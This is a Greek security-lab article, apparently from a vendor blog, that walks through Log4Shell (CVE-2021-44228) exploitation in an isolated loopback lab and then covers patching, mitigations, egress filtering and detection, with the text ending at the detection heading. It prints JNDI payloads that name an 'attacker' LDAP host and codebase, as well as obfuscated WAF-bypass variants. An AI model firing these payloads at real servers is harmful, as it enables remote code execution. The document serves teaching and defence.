Πώς μία μόνο γραμμή log — ένα User-Agent header, ένα username, ένα πεδίο αναζήτησης — μετατρέπεται σε πλήρη απομακρυσμένη εκτέλεση κώδικα (Remote Code Execution) σε έναν Java server, βήμα προς βήμα, σε ένα εργαστήριο που κατέχουμε εξ ολοκλήρου. Στήνουμε μια δική μας ευάλωτη εφαρμογή με log4j-core 2.14.1, φτιάχνουμε το JNDI payload ${jndi:ldap://<lab>/x}, σηκώνουμε δικό μας κακόβουλο LDAP referral server που επιστρέφει αναφορά σε μια κλάση payload, πυροδοτούμε το lookup και παίρνουμε RCE με το flag ως αδιαμφισβήτητη απόδειξη. Δείχνουμε με απόλυτη ειλικρίνεια τι τρέχει live: το JNDI lookup που πραγματικά πυροδοτείται, το πραγματικό egress προς τον LDAP, το κατέβασμα της κλάσης μέσω HTTP, την εκτέλεση. Όπου ένα σύγχρονο JDK μπλοκάρει το κλασικό remote classloading, το δηλώνουμε καθαρά και δείχνουμε ακριβώς τι αλλάζει. Κλείνουμε με το πιο σημαντικό μισό: την άμυνα και την ανίχνευση — patch, αφαίρεση JndiLookup, egress filtering, WAF, Sigma rule και detection engineering — με πραγματικά, εκτελέσιμα αποτελέσματα.

TL;DR (EN): A red+blue Log4Shell (CVE-2021-44228) lab: a JNDI payload in a logged header triggers an LDAP referral, class load and real RCE on a log4j 2.14.1 app — then the blue-team half shows formatMsgNoLookups and log4j 2.17.1 neutralising it, WAF-evasion payloads bypassing naive rules, and a Sigma detection rule. Covers patching, egress filtering and detection engineering.

Νομική σημείωση / Authorization. Όλη η δραστηριότητα εκτελέστηκε αποκλειστικά σε ένα απομονωμένο εργαστήριο που κατέχουμε εξ ολοκλήρου. Η ευάλωτη εφαρμογή, ο κακόβουλος LDAP server και ο HTTP codebase server είναι όλα δικά μας τοπικά stand-ins, δεσμευμένα σε loopback (127.0.0.1) χωρίς καμία δημοσιευμένη θύρα, χωρίς έκθεση σε LAN ή Internet. Το «RCE» εκτελεί μια αβλαβή εντολή απόδειξης (id, hostname, whoami, ανάγνωση ενός τοπικού lab flag) μέσα στη δική μας διεργασία. Δεν προσεγγίσαμε, δεν σαρώσαμε και δεν επιτεθήκαμε σε κανένα πραγματικό σύστημα τρίτου. Η ταυτότητα του χειριστή έχει αποστειρωθεί σε kali@lab. Η εκμετάλλευση του Log4Shell εναντίον συστημάτων που δεν σας ανήκουν είναι παράνομη· χρησιμοποιήστε αυτές τις τεχνικές μόνο σε δικά σας ή ρητά εξουσιοδοτημένα περιβάλλοντα, στο πλαίσιο νόμιμου penetration testing.

Εισαγωγή: γιατί το Log4Shell παραμένει η πιο διδακτική ευπάθεια RCE

Τον Δεκέμβριο του 2021, μια ευπάθεια σε μια βιβλιοθήκη καταγραφής (logging) που σχεδόν κανένας τελικός χρήστης δεν είχε ακούσει ποτέ, το Apache Log4j 2, μετέτρεψε ένα ήσυχο Σαββατοκύριακο σε παγκόσμιο συναγερμό ασφάλειας. Η ευπάθεια, με κωδικό CVE-2021-44228 και το όνομα Log4Shell, έλαβε την ανώτατη βαθμολογία CVSS 10.0 — και όχι άδικα. Επέτρεπε σε οποιονδήποτε μπορούσε να στείλει μια συμβολοσειρά που τελικά θα καταγραφόταν σε ένα log, να εκτελέσει αυθαίρετο κώδικα στον server. Χωρίς αυθεντικοποίηση. Χωρίς προϋπάρχουσα πρόσβαση. Με ένα και μόνο HTTP request.

Ο λόγος που το Log4Shell παραμένει, χρόνια μετά, το πιο διδακτικό παράδειγμα RCE δεν είναι η δημοσιότητα που πήρε. Είναι το ότι συμπυκνώνει, σε μια μόνο αλυσίδα, τρεις έννοιες που κάθε επαγγελματίας ασφάλειας πρέπει να καταλαβαίνει σε βάθος: το πώς δεδομένα που ελέγχει ο χρήστης φτάνουν σε ένα ευαίσθητο σημείο χωρίς να το περιμένει κανείς, το πώς ένας φαινομενικά αθώος μηχανισμός (το JNDI της Java) γίνεται φορέας εκτέλεσης κώδικα, και το πώς η άμυνα δεν είναι ένα μόνο patch αλλά μια σειρά από ανεξάρτητους κρίκους που ο καθένας μπορεί να σπάσει την επίθεση.

Για έναν οργανισμό που υπόκειται σε NIS2 ή DORA, το Log4Shell δεν είναι ιστορικό ανέκδοτο. Είναι το αρχέτυπο του «κρίσιμου, ευρέως εκμεταλλεύσιμου» κινδύνου που οι κανονισμοί απαιτούν να εντοπίζετε, να αξιολογείτε και να τεκμηριώνετε ότι έχετε αντιμετωπίσει. Ευάλωτες εκδόσεις του log4j εξακολουθούν να «κρύβονται» βαθιά μέσα σε εφαρμογές, σε shaded jars, σε παλιά appliances και σε εξαρτήσεις τρίτων. Το να ξέρετε — και όχι απλώς να ελπίζετε — ότι το περιβάλλον σας είναι ανθεκτικό, απαιτεί να αναπαραγάγετε την επίθεση με ελεγχόμενο τρόπο και να επαληθεύσετε ότι οι άμυνές σας πράγματι δουλεύουν. Ακριβώς αυτό κάνουμε εδώ.

Σε αυτό το flagship άρθρο των Audax Labs στήνουμε ολόκληρη την αλυσίδα «από το log string στο RCE» με πραγματικά εργαλεία και πραγματικά outputs, και τη συνδέουμε με το αμυντικό μισό: ανίχνευση, telemetry, WAF, Sigma και σκληρό hardening.


Τι είναι το Log4Shell και πώς ένα log string γίνεται RCE

Το log4j είναι μια από τις πιο διαδεδομένες βιβλιοθήκες logging στο οικοσύστημα της Java. Κάθε φορά που μια εφαρμογή γράφει κάτι σαν log.info("Login attempt from " + userAgent), χρησιμοποιεί το log4j για να μορφοποιήσει και να γράψει τη γραμμή. Μέχρι εδώ, τίποτα το επικίνδυνο.

Το πρόβλημα γεννήθηκε από ένα «έξυπνο» feature που το log4j 2 πρόσθεσε: τα message lookups. Όταν το log4j μορφοποιεί ένα μήνυμα, ψάχνει μέσα του για ειδικές εκφράσεις της μορφής ${...} και τις αντικαθιστά δυναμικά. Για παράδειγμα, το ${java:version} γίνεται η έκδοση της Java, το ${env:USER} γίνεται η τιμή μιας μεταβλητής περιβάλλοντος. Το feature ήταν σχεδιασμένο για βολικά, «πλούσια» logs.

Ανάμεσα σε αυτούς τους lookups υπήρχε και ένας ιδιαίτερα επικίνδυνος: ο jndi. Το JNDI (Java Naming and Directory Interface) είναι το API με το οποίο μια εφαρμογή Java αναζητά αντικείμενα σε καταλόγους — LDAP, RMI, DNS και άλλα. Όταν το log4j συναντούσε ένα ${jndi:ldap://kakos-server/x} μέσα σε ένα μήνυμα, εκτελούσε πραγματική αναζήτηση JNDI προς το ldap://kakos-server/x. Και εδώ κλείνει ο κύκλος: αν ο κακόβουλος LDAP server απαντούσε με μια αναφορά (reference) σε μια απομακρυσμένη κλάση Java, η ευάλωτη JVM κατέβαζε αυτή την κλάση και τη φόρτωνε — εκτελώντας τον κώδικά της.

Το τελικό αποτέλεσμα: οποιαδήποτε συμβολοσειρά ελεγχόμενη από τον επιτιθέμενο κατέληγε σε ένα log statement γινόταν εντολή εκτέλεσης κώδικα. Και τέτοιες συμβολοσειρές είναι παντού — HTTP headers όπως το User-Agent ή το X-Forwarded-For, ονόματα χρήστη σε αποτυχημένα login, πεδία αναζήτησης, τιμές cookies, ακόμη και το θέμα ενός email. Ο επιτιθέμενος δεν χρειάζεται να ξέρει πού καταγράφεται το input του· αρκεί να καταγράφεται κάπου.


Η μηχανική του JNDI lookup: σύνταξη, παράμετροι και τι πραγματικά συμβαίνει

Ας αναλύσουμε το payload κομμάτι-κομμάτι, γιατί η κατανόηση της σύνταξης είναι αυτό που ξεχωρίζει τον επαγγελματία από τον «script kiddie» που απλώς αντιγράφει μια γραμμή.

${jndi:ldap://127.0.0.1:1389/Exploit}
ΣτοιχείοΡόλος
${}Ανοίγει και κλείνει μια έκφραση interpolation του log4j. Ό,τι είναι μέσα αξιολογείται κατά τη μορφοποίηση του μηνύματος.
jndi:Επιλέγει τον JndiLookup handler — τον μηχανισμό που εκτελεί αναζήτηση JNDI.
ldap://Το πρωτόκολλο του καταλόγου. Μπορεί επίσης να είναι rmi://, dns://, ldaps://, iiop://. Το LDAP είναι το πιο δημοφιλές γιατί είναι απλό να σηκωθεί ένας rogue LDAP server.
127.0.0.1:1389Ο host και η θύρα του κακόβουλου LDAP server που ελέγχει ο επιτιθέμενος.
ExploitΤο «όνομα» (entry) που ζητά η αναζήτηση. Ο rogue server θα απαντήσει με αναφορά σε μια κλάση με αυτό το όνομα.
🔒Κατεβάστε το Detection & Exposure Validation Checklist (PDF)

Blue-team έλεγχοι: CVE exposure, signals-vs-proof, detection engineering, phishing-resistant MFA. Αφήστε εταιρικό email.

Η ακολουθία των γεγονότων που πυροδοτεί αυτή η μία γραμμή είναι η καρδιά της επίθεσης:

  1. Η εφαρμογή καταγράφει το input του χρήστη, που περιέχει το ${jndi:...}.
  2. Το log4j 2.14.1 αναγνωρίζει την έκφραση και καλεί τον JndiLookup.
  3. Ο JndiLookup κάνει πραγματικό δικτυακό αίτημα (egress) προς τον ldap://127.0.0.1:1389.
  4. Ο κακόβουλος LDAP server απαντά με ένα αντικείμενο τύπου javaNamingReference, που περιέχει τα πεδία javaClassName, javaFactory και — κρίσιμα — javaCodeBase (ένα HTTP URL).
  5. Η ευάλωτη JVM κατεβάζει την κλάση από το javaCodeBase και την ενσωματώνει (instantiate).
  6. Ο static initializer της κλάσης εκτελείται — και αυτό είναι το RCE.

Αυτό που κάνει το Log4Shell τόσο επικίνδυνο είναι ότι κάθε ένα από αυτά τα βήματα ήταν, μεμονωμένα, «νόμιμη» λειτουργία της Java. Η επίθεση δεν εκμεταλλεύεται bug μνήμης· εκμεταλλεύεται τον συνδυασμό ενός υπερβολικά ισχυρού feature (message lookups) με έναν ήδη επικίνδυνο μηχανισμό (remote-codebase JNDI).


Το απομονωμένο εργαστήριο: τοπολογία και συστατικά

Το εργαστήριο τρέχει εξ ολοκλήρου σε έναν host, με τρία λογικά κομμάτια, όλα σε loopback και χωρίς καμία δημοσιευμένη θύρα:

  • Vuln Portal (η ευάλωτη εφαρμογή): ένα μικρό Java πρόγραμμα (VulnApp) που σηκώνει έναν HTTP server δεσμευμένο στο 127.0.0.1:8888. Σε κάθε αίτημα στο /login, καταγράφει το User-Agent header με log.info(...) χρησιμοποιώντας log4j-core 2.14.1 — την ευάλωτη έκδοση. Αυτό το ένα log statement είναι όλη η επιφάνεια επίθεσης.
  • Rogue LDAP server (ο κακόβουλος κατάλογος): ένα Java πρόγραμμα (RogueLdap) βασισμένο στο UnboundID LDAP SDK, δεσμευμένο στο 127.0.0.1:1389. Για κάθε αναζήτηση επιστρέφει ένα javaNamingReference που δείχνει στον HTTP codebase server μας. Αυτόν τον ρόλο τον παίζει στην πράξη το γνωστό εργαλείο marshalsec· εδώ τον υλοποιούμε μόνοι μας για να είναι το lab αυτόνομο και ελεγχόμενο.
  • HTTP codebase server: ένας απλός python3 -m http.server στο 127.0.0.1:8000, που σερβίρει το Exploit.class — την κλάση payload μας.

Ο «επιτιθέμενος» είναι ο ίδιος host, με ταυτότητα αποστειρωμένη σε kali@lab, χρησιμοποιώντας curl για την παράδοση του payload.

Τοπολογία απομονωμένου εργαστηρίου
Τοπολογία απομονωμένου εργαστηρίου

Οι εκδόσεις των εργαλείων: OpenJDK 21.0.11 (Temurin, φορητό JDK εγκατεστημένο τοπικά μέσα στον φάκελο του lab, χωρίς system paths και χωρίς root), Python 3.12, curl 8.5.0, log4j-core 2.14.1 (ευάλωτο) και 2.17.1 (patched, για την επίδειξη άμυνας), unboundid-ldapsdk 6.0.11. Και τα τρία services και ο «επιτιθέμενος» τρέχουν στο ίδιο μηχάνημα· καμία γέφυρα προς κανένα άλλο δίκτυο.


Η αλυσίδα με μια ματιά

Πριν μπούμε στις λεπτομέρειες, ας δούμε ολόκληρη τη λογική σε ένα διάγραμμα.

Διάγραμμα αλυσίδας: από το log string στο RCE
Διάγραμμα αλυσίδας: από το log string στο RCE
  1. Log sink: εντοπίζουμε ένα σημείο όπου η εφαρμογή καταγράφει μη έμπιστο input με ευάλωτο log4j.
  2. Payload: στέλνουμε το ${jndi:ldap://lab:1389/Exploit} μέσα σε ένα header.
  3. Referral: ο rogue LDAP επιστρέφει αναφορά σε απομακρυσμένη κλάση (javaCodeBase).
  4. Classload: η ευάλωτη JVM κατεβάζει και φορτώνει το Exploit.class.
  5. RCE: ο κώδικάς μας εκτελείται και διαβάζουμε το flag ως απόδειξη.

Βήμα 1: Η ευάλωτη εφαρμογή και το σημείο εισόδου

Ξεκινάμε χτίζοντας και τρέχοντας τη δική μας ευάλωτη εφαρμογή. Η μεταγλώττιση γίνεται με classpath τα ευάλωτα jars του log4j 2.14.1, και ο server ξεκινά ακούγοντας μόνο σε loopback.

Η ευάλωτη εφαρμογή τρέχει σε loopback με log4j 2.14.1
Η ευάλωτη εφαρμογή τρέχει σε loopback με log4j 2.14.1

Το κρίσιμο σημείο βρίσκεται σε μία μόνο γραμμή κώδικα μέσα στην εφαρμογή:

log.info("Login attempt user={} from client UA={}", user, ua);

Η μεταβλητή ua είναι το User-Agent header — δηλαδή δεδομένα που ελέγχει πλήρως ο client. Η εφαρμογή δεν κάνει τίποτα «κακό» με προφανή έννοια· απλώς καταγράφει ποιος προσπάθησε να συνδεθεί, μια απολύτως φυσιολογική πρακτική. Όμως, επειδή το log4j 2.14.1 αξιολογεί τα ${...} lookups μέσα στο μήνυμα, αυτή η αθώα καταγραφή γίνεται το σημείο εκτέλεσης. Αυτός είναι ο λόγος που το Log4Shell ήταν τόσο ύπουλο: ο ευάλωτος κώδικας δεν φαίνεται καθόλου επικίνδυνος.


Βήμα 2: Το payload και ο κακόβουλος LDAP referral server

Με την εφαρμογή σε λειτουργία, στέλνουμε ένα και μόνο αίτημα. Το payload ταξιδεύει μέσα στο User-Agent header — ένα πεδίο που η εφαρμογή σίγουρα θα καταγράψει.

Το JNDI payload μέσα στο User-Agent header
Το JNDI payload μέσα στο User-Agent header

Το αίτημα επιστρέφει μια απολύτως φυσιολογική απάντηση («login received for user: admin»). Τίποτα στην HTTP απάντηση δεν προδίδει ότι κάτι πήγε στραβά — και αυτό είναι χαρακτηριστικό του Log4Shell: η εκμετάλλευση συμβαίνει out-of-band, στην πλευρά του server, όχι στο σώμα της απάντησης.

Στην πλευρά του επιτιθέμενου, ο rogue LDAP server μας δείχνει το πραγματικό egress. Η ευάλωτη JVM τον προσέγγισε, ζήτησε το entry Exploit, και έλαβε πίσω την αναφορά προς τον HTTP codebase. Αμέσως μετά, η JVM κατέβασε την κλάση payload μέσω HTTP.

Πραγματικό egress: LDAP referral και κατέβασμα της κλάσης μέσω HTTP
Πραγματικό egress: LDAP referral και κατέβασμα της κλάσης μέσω HTTP

Δύο πράγματα αξίζει να προσέξουμε εδώ. Πρώτον, η γραμμή INBOUND search from victim JVM, baseDN=Exploit είναι πραγματική απόδειξη ότι το JNDI lookup πυροδοτήθηκε και προκάλεσε δικτυακή σύνδεση — το πιο σημαντικό, ανιχνεύσιμο σημάδι της επίθεσης. Δεύτερον, η γραμμή GET /Exploit.class HTTP/1.1 200 δείχνει ότι η ευάλωτη JVM όντως κατέβασε τον κώδικά μας. Ο κρίκος του «second stage» έκλεισε.


Βήμα 3: Από το JNDI στο RCE και το flag

Όταν η JVM φορτώνει το Exploit.class, εκτελείται ο static initializer του — και εκεί βρίσκεται ο κώδικάς μας. Στο εργαστήριο, η εντολή είναι αβλαβής: τρέχει id; hostname; whoami και διαβάζει ένα τοπικό lab flag, γράφοντας το αποτέλεσμα τόσο στην κονσόλα του server όσο και σε ένα αρχείο απόδειξης.

RCE μέσω Log4Shell: εκτέλεση στον server και το flag
RCE μέσω Log4Shell: εκτέλεση στον server και το flag

Η κονσόλα της ευάλωτης εφαρμογής μιλάει από μόνη της. Οι γραμμές [EXPLOIT] δεν προέρχονται από την εφαρμογή μας — προέρχονται από τον κώδικά μας που εκτελέστηκε μέσα στη διεργασία του server. Βλέπουμε το uid, το hostname, τον χρήστη και, τέλος, το flag:

flag: flag{audax_lab_log4shell_jndi_ldap_rce_pwn}

Αυτό είναι RCE στην πιο καθαρή του μορφή: μια συμβολοσειρά που στείλαμε σε ένα HTTP header κατέληξε να εκτελέσει εντολές λειτουργικού συστήματος στον server. Δεν υπήρξε injection σε βάση δεδομένων, ούτε buffer overflow, ούτε κλεμμένο credential. Μόνο μια γραμμή log και ένας υπερβολικά «βοηθητικός» μηχανισμός interpolation.


Ειλικρινής αποκάλυψη: τι τρέχει live και τι όχι σε σύγχρονο JDK

Εδώ οφείλουμε πλήρη διαφάνεια, γιατί είναι και το πιο σημαντικό τεχνικό μάθημα του άρθρου. Το κλασικό Log4Shell RCE μέσω remote-codebase classloading (δηλαδή το «κατέβασε και τρέξε μια απομακρυσμένη κλάση») δεν λειτουργεί με τις προεπιλογές ενός σύγχρονου JDK.

Από το JDK 8u191 (Οκτώβριος 2018) και μετά, η ιδιότητα com.sun.jndi.ldap.object.trustURLCodebase έχει προεπιλεγμένη τιμή false. Αυτό σημαίνει ότι, ακόμη κι αν το JNDI lookup πυροδοτηθεί και ο rogue LDAP επιστρέψει την αναφορά, η JVM αρνείται να κατεβάσει και να φορτώσει την απομακρυσμένη κλάση. Τρέξαμε ακριβώς αυτό το σενάριο στο default OpenJDK 21 του εργαστηρίου:

Ειλικρινής αποκάλυψη: default JDK 21 μπλοκάρει το remote classloading
Ειλικρινής αποκάλυψη: default JDK 21 μπλοκάρει το remote classloading

Το αποτέλεσμα είναι αποκαλυπτικό και το καταγράφουμε ακριβώς όπως συνέβη:

  • Egress: ΝΑΙ. Το JNDI lookup πυροδοτήθηκε, η JVM συνδέθηκε στον rogue LDAP (INBOUND search ... baseDN=Exploit).
  • Lookup: ΝΑΙ. Το log έδειξε UA=Reference Class Name: Exploit — δηλαδή η αναφορά παραλήφθηκε.
  • Classload: ΟΧΙ. Ο HTTP codebase server δεν έλαβε κανένα αίτημα. Η JVM μπλόκαρε το remote classloading. Κανένα RCE.

Για να αναπαραγάγουμε το κλασικό RCE (όπως θα συνέβαινε σε μια JVM πριν το 2018, ή σε παλιό appliance που δεν έχει ενημερωθεί), θέσαμε ρητά -Dcom.sun.jndi.ldap.object.trustURLCodebase=true — και το δηλώνουμε ανοιχτά. Με αυτή τη ρύθμιση, η επίθεση ολοκληρώθηκε end-to-end και είναι η πηγή των screenshots RCE παραπάνω. Η ευπάθεια, το egress, το κατέβασμα και το flag είναι όλα πραγματικά· απλώς αναπαραστήσαμε το προεπιλεγμένο περιβάλλον μιας ευάλωτης-εποχής JVM.

Γιατί έχει τεράστια σημασία αυτή η λεπτομέρεια για έναν αμυντικό; Γιατί σημαίνει ότι η επικινδυνότητα του Log4Shell στο δικό σας περιβάλλον εξαρτάται από πολλαπλούς παράγοντες — έκδοση JDK, έκδοση log4j, παρουσία gadget libraries στο classpath (που επιτρέπουν RCE ακόμη και με trustURLCodebase=false, μέσω serialized payloads ή τοπικών factories όπως το BeanFactory του Tomcat). Το «έχω νέο JDK, είμαι ασφαλής» είναι επικίνδυνα απλουστευτικό. Ο μόνος τρόπος να ξέρετε είναι να το δοκιμάσετε.


Walkthrough: από το log string στο RCE, συνοπτικά

Ας συνοψίσουμε ολόκληρη την αλυσίδα σε μια καθαρή, γραμμική αφήγηση — αυτό ακριβώς που θα εξηγούσαμε σε ένα stakeholder briefing:

  1. Ο επιτιθέμενος στέλνει ένα HTTP request με header User-Agent: ${jndi:ldap://attacker:1389/Exploit}.
  2. Η εφαρμογή, χωρίς καμία κακή πρόθεση, καταγράφει το header: log.info("... UA={}", ua).
  3. Το log4j 2.14.1 βλέπει το ${jndi:...}, καλεί τον JndiLookup και κάνει αναζήτηση στο ldap://attacker:1389/Exploit.
  4. Ο κακόβουλος LDAP server απαντά με javaNamingReference -> javaCodeBase=http://attacker:8000/.
  5. Η ευάλωτη JVM κατεβάζει το Exploit.class από τον HTTP server και το φορτώνει.
  6. Ο static initializer της κλάσης εκτελεί εντολές OS -> RCE.

Έξι βήματα, ένα request, μηδέν credentials. Αυτή η απλότητα, σε συνδυασμό με το πόσο βαθιά είναι θαμμένο το log4j μέσα σε άλλες εξαρτήσεις, εξηγεί γιατί το Log4Shell παραμένει ενεργός κίνδυνος.

Χρειάζεστε στοχευμένο έλεγχο τώρα; Το να τρέξετε ένα εργαλείο μόνοι σας είναι το εύκολο κομμάτι. Η ομάδα της Audax εκτελεί penetration testing και offensive assessment που αποδεικνύουν στην πράξη τι πραγματικά σας εκθέτει — με τεκμηριωμένα ευρήματα και προτεραιοποίηση.

MITRE ATT&CK mapping

Η αντιστοίχιση της αλυσίδας σε τεχνικές MITRE ATT&CK δίνει ένα κοινό λεξιλόγιο για red και blue team, και μετρήσιμη κάλυψη ανιχνεύσεων.

MITRE ATT&CK mapping για το Log4Shell
MITRE ATT&CK mapping για το Log4Shell
ΤεχνικήΌνομαΠώς εμφανίζεται εδώ
T1190Exploit Public-Facing ApplicationΜια τιμή ελεγχόμενη από τον χρήστη φτάνει σε ευάλωτο log4j 2.14.x σε εκτεθειμένη εφαρμογή.
T1105Ingress Tool TransferΤο JNDI/LDAP referral κάνει την ευάλωτη JVM να κατεβάσει απομακρυσμένη κλάση μέσω HTTP.
T1059Command and Scripting InterpreterΗ φορτωμένη κλάση εκτελεί sh -c '<cmd>' στον server — RCE.

Η κάλυψη εκτείνεται από το Initial Access (T1190) στο Ingress Tool Transfer (T1105) και καταλήγει στο Execution (T1059). Κάθε ένα από αυτά τα στάδια είναι και μια ευκαιρία ανίχνευσης — κάτι που θα εκμεταλλευτούμε στην ενότητα άμυνας.


Επαλήθευση: πώς ξέρουμε ότι πραγματικά δούλεψε

Στο offensive security, η διαφορά ανάμεσα σε «νομίζω ότι πέτυχε» και «απέδειξα ότι πέτυχε» είναι θεμελιώδης. Εδώ έχουμε τρεις ανεξάρτητες αποδείξεις ότι το RCE ολοκληρώθηκε:

  1. Η κονσόλα της ευάλωτης εφαρμογής εμφάνισε τις γραμμές [EXPLOIT] με το output των id/hostname/whoami και το flag — κώδικας που δεν υπάρχει πουθενά στην εφαρμογή, άρα εκτελέστηκε από το payload μας.
  2. Ο rogue LDAP server κατέγραψε το inbound search από την JVM-θύμα, αποδεικνύοντας το egress.
  3. Ο HTTP codebase server κατέγραψε το GET /Exploit.class 200, αποδεικνύοντας το κατέβασμα του payload.
  4. Το αρχείο απόδειξης /tmp/audax_log4shell_proof.txt γράφτηκε από τη διεργασία του server και περιέχει το flag.

Η συνάφεια αυτών των τεσσάρων ανεξάρτητων πηγών δεν αφήνει περιθώριο αμφιβολίας: το log string πυροδότησε πραγματική εκτέλεση κώδικα. Στο πλαίσιο ενός επαγγελματικού engagement, ακριβώς αυτή η πολλαπλή, ανεξάρτητη τεκμηρίωση είναι που μετατρέπει ένα εύρημα σε αδιάσειστη απόδειξη για τον πελάτη.


WAF evasion: γιατί το ${jndi:} regex δεν αρκεί

Η πρώτη αντίδραση πολλών οργανισμών στο Log4Shell ήταν να προσθέσουν έναν WAF κανόνα που μπλοκάρει τη συμβολοσειρά ${jndi:. Είναι μια λογική πρώτη κίνηση — αλλά, από μόνη της, επικίνδυνα ανεπαρκής. Το log4j αξιολογεί και εμφωλευμένους (nested) lookups, οπότε ο επιτιθέμενος μπορεί να «σπάσει» τη λέξη jndi με υπο-εκφράσεις που δεν αλλάζουν το τελικό αποτέλεσμα.

Δοκιμάσαμε τρεις κλασικές παραλλαγές obfuscation εναντίον της ευάλωτης εφαρμογής μας — και και οι τρεις έφτασαν πραγματικά στον rogue LDAP server:

WAF evasion: obfuscated payloads που παρακάμπτουν το naive regex
WAF evasion: obfuscated payloads που παρακάμπτουν το naive regex
  • ${${lower:j}ndi:${lower:l}dap://...} — το ${lower:j} παράγει «j», ανασυνθέτοντας το jndi.
  • ${${::-j}${::-n}${::-d}${::-i}:ldap://...} — η σύνταξη default value ${::-x} παράγει το κυριολεκτικό «x» για κάθε γράμμα.
  • ${${upper:j}${upper:n}di:ldap://...} — τα ονόματα των lookups είναι case-insensitive, οπότε το JNdi λειτουργεί εξίσου.

Ένας naive κανόνας που ψάχνει ${jndi: δεν πιάνει καμία από αυτές. Γι’ αυτό φτιάξαμε έναν obfuscation-aware detector — και εδώ έρχεται το πιο ειλικρινές εύρημα του άρθρου: ακόμη κι αυτός ο βελτιωμένος detector έχασε μία παραλλαγή, εκείνη που έσπασε το ίδιο το URL scheme (${lower:l}dap://, όπου δεν υπάρχει καν το κυριολεκτικό ldap:// στη συμβολοσειρά). Το συμπέρασμα είναι αδιαπραγμάτευτο: η ανίχνευση βάσει signature είναι απαραίτητη αλλά ποτέ επαρκής. Πρέπει να συνδυάζεται με ανίχνευση συμπεριφοράς — δηλαδή egress detection.


Αντιμετώπιση προβλημάτων

Κατά το στήσιμο του εργαστηρίου, συναντήσαμε πραγματικά εμπόδια που αξίζει να καταγραφούν, γιατί θα τα συναντήσει όποιος αναπαραγάγει την άσκηση:

  • Το JNDI lookup πυροδοτείται αλλά δεν γίνεται RCE. Σχεδόν πάντα οφείλεται στο trustURLCodebase=false των σύγχρονων JDK. Αν βλέπετε το egress στον LDAP αλλά όχι το GET /Exploit.class, το remote classloading έχει μπλοκαριστεί. Αυτό είναι η προεπιλεγμένη — και σωστή — συμπεριφορά ασφάλειας.
  • Το payload καταγράφεται κυριολεκτικά, χωρίς egress. Σημαίνει ότι τα message lookups είναι απενεργοποιημένα (π.χ. formatMsgNoLookups=true) ή ότι τρέχετε patched log4j. Καλό νέο για την άμυνα, «αποτυχία» για την επίδειξη επίθεσης.
  • Ο rogue LDAP δεν δέχεται συνδέσεις. Ελέγξτε ότι δεσμεύεται στη σωστή διεύθυνση loopback και ότι το URL στο payload ταιριάζει ακριβώς με host/port.
  • Χρειάζεται JDK, όχι απλώς JRE. Για τη μεταγλώττιση χρειάζεται javac. Στο εργαστήριο χρησιμοποιήσαμε φορητό Temurin JDK 21 μέσα στον φάκελο του lab, χωρίς εγκατάσταση σε system paths και χωρίς root.
  • Θύρες που παραμένουν ανοιχτές μετά τα τεστ. Πάντα σταματήστε ρητά τα τρία services και επιβεβαιώστε ότι οι θύρες 8888/1389/8000 έχουν κλείσει, ώστε να μη μείνει ευάλωτο service ενεργό.

Θα ανιχνεύατε ένα Log4Shell στην υποδομή σας;

Το Log4Shell εξακολουθεί να υπάρχει σε πραγματικά συστήματα — και οι obfuscated παραλλαγές παρακάμπτουν αφελείς κανόνες. Η Audax επικυρώνει συνεχώς την έκθεση και τις ανιχνεύσεις σας μέσω Continuous Threat Exposure Management.

Δείτε το CTEM →

Άμυνα και ανίχνευση: πώς σπάτε κάθε κρίκο της αλυσίδας

Εδώ βρίσκεται η ουσία για κάθε οργανισμό. Η αλυσίδα σπάει αν σπάσετε οποιονδήποτε κρίκο — και, όπως πάντα, στόχος είναι το defense in depth. Δείχνουμε πραγματικές, εκτελέσιμες άμυνες με το ίδιο payload.

1. Το κύριο control: patch το log4j σε >= 2.17.x

Η οριστική λύση είναι η αναβάθμιση του log4j-core σε 2.17.1 ή νεότερη. Τρέξαμε την ίδια εφαρμογή με patched log4j 2.17.1 και το ίδιο payload:

Patched log4j 2.17.1: το payload καταγράφεται κυριολεκτικά, χωρίς RCE
Patched log4j 2.17.1: το payload καταγράφεται κυριολεκτικά, χωρίς RCE

Το αποτέλεσμα: το ${jndi:ldap://...} καταγράφεται κυριολεκτικά στο log, χωρίς κανένα egress, χωρίς κατέβασμα κλάσης, χωρίς RCE. Η αλυσίδα σπάει στο πρώτο βήμα. Οι νεότερες εκδόσεις αφαιρούν εντελώς το message-lookup μηχανισμό και περιορίζουν αυστηρά το JNDI (allowlist πρωτοκόλλων, όχι LDAP σε remote codebase).

2. Άμεσο mitigation όταν δεν μπορείτε να κάνετε patch αμέσως

Δεν είναι πάντα δυνατή η άμεση αναβάθμιση — ειδικά όταν το log4j είναι θαμμένο μέσα σε ένα shaded jar τρίτου. Δύο άμεσα mitigations:

  • -Dlog4j2.formatMsgNoLookups=true (ή η αντίστοιχη μεταβλητή περιβάλλοντος LOG4J_FORMAT_MSG_NO_LOOKUPS=true). Το δοκιμάσαμε στην ίδια ευάλωτη 2.14.1:
Mitigation formatMsgNoLookups: το payload εξουδετερώνεται
Mitigation formatMsgNoLookups: το payload εξουδετερώνεται

Το payload καταγράφεται κυριολεκτικά, χωρίς egress, χωρίς RCE. Το mitigation απενεργοποιεί την interpolation που έκανε το ${jndi} να «τρέξει».

  • Αφαίρεση της κλάσης JndiLookup από το jar: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class. Ήταν η επίσημη σύσταση της CISA και είναι αποτελεσματική ακόμη και σε πολύ παλιές εκδόσεις, γιατί αφαιρεί εντελώς τον handler που εκτελεί το lookup.

3. Egress filtering: κόψτε την επικοινωνία προς LDAP/RMI

Ένας application server σπάνια χρειάζεται να κάνει εξερχόμενες συνδέσεις προς LDAP (389/636), RMI (1099) ή αυθαίρετους HTTP προορισμούς στο Internet. Ένα αυστηρό egress firewall που επιτρέπει μόνο τους απαραίτητους προορισμούς σπάει το βήμα 3 και 4 της αλυσίδας: ακόμη κι αν το lookup πυροδοτηθεί, δεν φτάνει ποτέ στον κακόβουλο server. Αυτό είναι ένα από τα πιο υποτιμημένα και πιο αποτελεσματικά controls.

4. WAF με obfuscation-aware κανόνες

Ένας WAF πρέπει να μπλοκάρει όχι μόνο το κυριολεκτικό ${jndi: αλλά και τις obfuscated παραλλαγές (${lower:...}, ${::-...}, nested ${). Όπως δείξαμε όμως, ο WAF είναι μέτρο αύξησης κόστους, όχι πανάκεια — αρκετά προηγμένο obfuscation μπορεί να τον παρακάμψει. Χρησιμοποιήστε τον ως ένα στρώμα, ποτέ ως το μοναδικό.

5. Detection engineering: signature + συμπεριφορά

